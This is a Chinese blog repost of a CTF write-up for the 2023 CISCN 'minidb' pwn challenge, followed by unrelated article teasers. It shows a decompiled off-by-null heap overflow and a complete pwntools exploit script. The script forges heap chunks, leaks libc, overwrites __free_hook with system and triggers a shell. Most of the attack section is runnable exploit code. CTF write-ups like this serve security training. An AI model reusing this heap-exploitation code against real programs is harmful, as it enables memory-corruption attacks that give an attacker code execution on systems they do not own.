2023 ciscn 华东北分区赛 pwn minidb

news2024/9/28 1:06:01

2023 ciscn 华东北分区赛 pwn minidb

没去打比赛,做了一下,本地通了,不知道远程可不可以
结构体

00000000 Data struc ; (sizeof=0x40, mappedto_8)
00000000 type dd ?
00000004 flag dd ?
00000008 database_name dq ?
00000010 pair dq 6 dup(?)                        ; offset
00000040 Data ends
00000040
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 column struc ; (sizeof=0x18, mappedto_9)
00000000 ppp dq ?
00000008 key dq ?
00000010 value dq ?
00000018 column ends
00000018

当type为1和2时,可以255个字节内的oob write \x00

unsigned __int64 __fastcall db_edit(Data *a1)
{
  int len; // [rsp+1Ch] [rbp-224h]
  __int64 v3; // [rsp+20h] [rbp-220h] BYREF
  column *ptr; // [rsp+28h] [rbp-218h]
  char value[520]; // [rsp+30h] [rbp-210h] BYREF
  unsigned __int64 v6; // [rsp+238h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  if ( a1 )
  {
    printf("Input the key: ");
    __isoc99_scanf("%ld", &v3);
    ptr = (column *)sub_168D((__int64)a1, v3, 0LL);
    if ( ptr )
    {
      printf("Input the new value: ");
      __isoc99_scanf("%255s", value);
      len = strlen(value);
      *((_BYTE *)&ptr->value + len) = 0;        // strlen <=255 && oob write \x00 
      if ( (a1->type == 1 || a1->type == 2) && len > 0x7F || (a1->type == 3 || a1->type == 4) && len > 0xFF )
      {
        puts("\x1B[31m\x1B[1m[x] The length of new value is TOOOOOO LOOOOONG!\x1B[0m");
      }
      else
      {
        memcpy(&ptr->value, value, len);
        *((_BYTE *)&ptr->value + len) = 0;
        puts("[+] Succesfully update the value of specific key!");
      }
    }
    else
    {
      puts("\x1B[31m\x1B[1m[x] Key NOT FOUND!\x1B[0m");
    }
  }
  else
  {
    puts("\x1B[31m\x1B[1m[x] Runtime error! No database provided!\x1B[0m");
  }
  return __readfsqword(0x28u) ^ v6;
}

伪造对应的chunk即可实现任意地址读写

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './minidb'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

menu = 'Your choice: '

def add_database(name, tp):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Please input the name of database: ', name)
    r.sendlineafter('Please input the type of database: ', str(tp))

def use(name):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Please input the name of database: ', name)

def add(key, value):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Input the key: ', str(key))
    r.sendafter('Input the value: ', value)

def show(key):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Input the key: ', str(key))

def edit(key, value):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Input the key: ', str(key))
    r.sendafter('Input the new value: ', value)

def delete(key):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Input the key: ', str(key))

def out():
    r.sendlineafter(menu, '666')

def delete_database(name):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Please input the name of database: ', name)

def change(name, new_name):
    r.sendlineafter(menu, '5')
    r.sendlineafter('Please input the name of database: ', name)
    r.sendlineafter('Please input the new name for database: ', new_name)

dbgg()

p1 = 'a' * 0xf7
#r.sendlineafter(menu, '1')
#r.sendafter('Please input the name of database: ', p1)
add_database(p1, 1)
use(p1)

add(0, 'a' * 0x77 + '\n')
add(1, 'a' * 0x77 + '\n')
#delete(0)
#edit(0, 'a' * 0x98 + '\n')
out()
p2 = 'a' * 0x60
add_database(p2, 1)
use(p2)
add(0, 'a' * 8 + '\n')
add(1, 'a' * 8 + '\n')
edit(1, 'a' * 0x58 + '\x31' + '\n')
for i in range(8):
    edit(1, 'a' * (0x57 - i) + '\x00' + '\n')
edit(1, 'a' * 0x50 + '\xa1' + '\n')
out()
use(p1)
edit(1, 'a' * 0xa8 + '\n')
out()
use(p2)
for i in range(7):
    add(i + 2, 'a\n')
p3 = b'a' * 0x68 + p64(0x1) + b'\n'
edit(0, p3)

for i in range(8):
    p3 = b'a' * (0x67 - i) + b'\x00' + b'\n'
    edit(0, p3)

for i in range(8):
    p3 = b'a' * (0x60 - i) + b'\x00' + b'\n'
    edit(0, p3)

p3 = b'a' * 0x58 + p64(0xa1) + b'\n'
edit(0, p3)

for i in range(7):
    delete(i + 2)
edit(1, 'a' * 0x8 + '\x71\n')
delete(1)
out()

add_database('b\n', 1)
r.sendlineafter(menu, '5')
r.sendafter('Please input the name of database: ', 'b\n')
r.sendlineafter('Please input the new name for database: ', 'b' * 0x20)
use(p2)
delete(0)
out()
add_database('c' * 0x60, 1)
add_database('d' * 0x60, 1)

r.sendlineafter(menu, '4')
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = one[1] + libc_base
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

delete_database('c' * 0x60)
delete_database('d' * 0x60)
add_database('e' * 0x20, 1)
add_database('d' * 0x20, 1)
#delete_database('e' * 0x20)
delete_database('d' * 0x20)
delete_database('e' * 0x20)
#add_database('d' * 0x20, 1)
#change('\x00', 'a')
r.sendlineafter(menu, '4')
r.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
r.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
r.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
r.recvuntil('\n')
r.recvuntil('\x09')
database_name = u64(r.recv(6).ljust(8, b'\x00'))
li('database_name = ' + hex(database_name))
change(p64(database_name), p64(free_hook - 0x20))
add_database('a' * 0x20, '1')
add_database(b'a' * 0x20 + p64(system_addr), '1')
#add_database(p64(one_gadget), '1')
change(p2, '/bin/sh')
delete_database('/bin/sh')

r.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/737792.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用html+javascript打造公文一键排版系统1:设计界面

近日&#xff0c;有同事抱怨收到的文件没有按公文要求进行排版&#xff0c;不得不自已动手帮他们擦PP排版&#xff0c;感慨每天都在做这些无意义的事情&#xff0c;浪费生命&#xff01; 于是打算用用htmljavascript打造公文一键排版系统。 首先是设置界面&#xff0c;主要包…

优化成本,探索WhatsApp API发送更经济的OTP验证信息

在现代的数字化世界中&#xff0c;安全性和使用者验证变得至关重要。随着移动应用程序和在线服务的普及&#xff0c;一次性密码&#xff08;OTP&#xff09;验证已经成为确保使用者身份验证的主要手段之一。然而&#xff0c;对于许多企业来说&#xff0c;发送OTP验证信息可能会…

fileinclude

看题目提示&#xff0c;应该是一道文件包含的题目&#xff0c;打开环境后直接告诉我flag在flag.php里 但是因为不知道绝对路径&#xff0c;不能直接利用file读取 查看源码后&#xff0c;发现里面嵌入了一段php代码 代码审计 首先&#xff0c;通过if( !ini_get(display_errors) …

springboot中banner.txt文件说明

springboot中banner.txt文件说明 通常在启动springboot项目的时候&#xff0c;&#xff0c;控制台会打印一些东西 比如&#xff1a; 如何自定义控制台输出的图形化符号 只需要在项目resources目录下创建一个banner.txt文件即可&#xff0c;因为启动的时候系统会自己检查该…

7.10作业

闹钟 mainWindow.ccp TCP服务器 #include "mainwindow.h" #include "ui_mainwindow.h"MainWindow::MainWindow(QWidget *parent): QMainWindow(parent), ui(new Ui::MainWindow) {ui->setupUi(this);server new QTcpServer(this);}MainWindow::~MainWi…

PDF文件转换成CAD图纸怎么做?简单好用的转换方法分享

CAD文件可以进行更加复杂的编辑&#xff0c;例如添加图层、修改线条颜色和粗细等&#xff0c;而PDF文件则只能进行简单的编辑操作。CAD软件中还可以添加文字注释、标注、尺寸和符号&#xff0c;这些功能大大提高了设计的灵活性和精度。下面给大家分享几种能够将PDF文件转换成CA…

交流充电桩通信方式和模块设计介绍

交流充电桩是新能源汽车充电系统的主要设备之一&#xff0c;可分为即插即用、刷卡取电和联网对接云端三种。即插即用&#xff0c;用户直接将充电枪连接到车辆上&#xff0c;就可以开始充电&#xff1b;刷卡取电&#xff0c;用户可以使用刷卡等方式取得充电权限&#xff0c;并根…

打印机一直重复打印不停止

打印一张纸&#xff0c;打印机一直重复打印不停止这个问题其实很简单&#xff0c;一般情况下是因为双向打印不兼容的问题&#xff1b; 选中打印机&#xff0c;点击右键&#xff0c;在弹出的菜单中选择“打印机属性” 在弹出的窗口中点“端口”&#xff0c;将“启用双向支持”前…

实现流程编排设计器的心路历程

接上回《「AntV」使用AntV X6实现流程编排设计器》一文说到&#xff0c;流程编排设计器的实现方案是将低代码引擎和AntV X6作为画布相结合。 为什么会有这样的想法&#xff1f; 可行性 起因是业务中有用到低代码引擎的场景&#xff0c;它的交互形式、页面结构正好符合流程编…

超级实用~低生物量的样本如何进行污染控制

上次小编主要介绍了低生物量比如口腔、阴道等样本的常见微生物和污染物&#xff0c;但是测序技术的高灵敏度也放大了样本中DNA污染的影响&#xff0c;那么对于低生物量的样本如何进行污染控制就至关重要了~ 2019年在《Contamination in Low Microbial Biomass Microbiome Studi…

vue + el-table点击表头改变其当前样式

废话不多说&#xff0c;先看效果&#xff1a; 网上找了一大圈没有符合的&#xff0c;只能自己看着搞&#xff1a; 直接贴代码&#xff1a; <el-tableref"table":data"tableData"borderstripesort-change"changeColumn"><el-table-colu…

vue语法详解

以下页面就是用vue开发的 模板语法 注意 模板语法不能在标签属性中用 文本插值 {{ msg }} 使用JavaScript表达式 {{ number 1 }} {{ ok ? YES : NO }} {{ message.split().reverse().join() }} 使用HTML 双大括号将会将数据插值为纯文本&#xff0c;而不是HTML&…

Apikit 自学日记:测试数据集

测试数据集 添加数据集的变量 在测试用例详情页面中&#xff0c;您可以点击上方的 测试数据 标签&#xff0c;进入用例的数据管理页面。在这里您可以添加多组测试数据&#xff0c;以及每组测试数据的变量。 在添加数据集前&#xff0c;我们需要设置数据集中存在什么变量。可以…

Qt:记录一下好看的配色

qss代码 窗体背景色 background-color: #ED6927; border-top-left-radius:35px;border-top-right-radius:35px;border-bottom-right-radius:0px; border-bottom-left-radius:0px;background-color: #203A32; border-radius:35px; border-top-left-radius:0px;border-top-righ…

如何用一部手机进行人体全身三维扫描

人体建模的应用真的是涵盖到了我们生活中的方方面面&#xff0c;真人潮玩、服饰定制、医疗康复、3D数字人等等领域&#xff0c;都离不开人体建模。 提到给人体建模&#xff0c;大家脑海里第一个浮现的画面&#xff0c;大多会是坐在电脑屏幕前&#xff0c;打开某个熟悉的建模的…

从本地目录和S3目录生成Classpath字符串的最佳实践

从一个目录生成Classpath字符串是一个非常常见的问题&#xff0c;在使用命令提交一个Java、Spark作业时会经常遇到。通常遇到的遇到情况是&#xff1a;将本地目录下的Jar文件拼接成一个Classpath字符串&#xff0c;这时&#xff0c;通常我们可以使用这样的命令&#xff1a; sp…

《八角笼中》电影我表达不出的好

昨天看完王宝强主演的《八角笼中》内心久久不能平静&#xff0c;里面有很多触动我的点&#xff0c;如果是写作高手&#xff0c;一定能从这部影片中捕捉到很多可写的话题。其实我也有&#xff0c;只是一直在思索要如何定主题&#xff0c;把内心深处那些想法表达出来&#xff0c;…

【HDC.Cloud 2023】华为云区块链分论坛内容值得再读!

Web3是全新的互联网世界&#xff0c;它不仅仅是一个技术革新&#xff0c;更是一种新的生态系统。在这个新的生态系统中&#xff0c;区块链技术、去中心化应用、智能合约等技术被广泛应用&#xff0c;为人们带来了更加安全、透明、去中心化的互联网体验。 然而&#xff0c;Web3的…

底层的出路,就在突破多重“八角笼”

底层的出路&#xff0c;就是突破“八角笼” “八角笼”隐喻是&#xff1a;出生地域&#xff0c;出生家庭&#xff0c;教育机会限制&#xff0c;权力网络&#xff0c;知识和技能的限制&#xff0c;资源的网络&#xff0c;机会…… 趣讲大白话&#xff1a;突破困局&#xff0c;精…

VoxPose:零样本训练机器人听你的话

VoxPoser是一种从大型语言模型&#xff08;LLMs&#xff09;中提取机器人操纵的可供性和约束的方法&#xff0c;它不需要额外的训练&#xff0c;并且可以泛化到开放集的指令。 地址&#xff1a;VoxPoser 它利用LLMs的编码能力&#xff0c;与视觉语言模型&#xff08;VLMs&…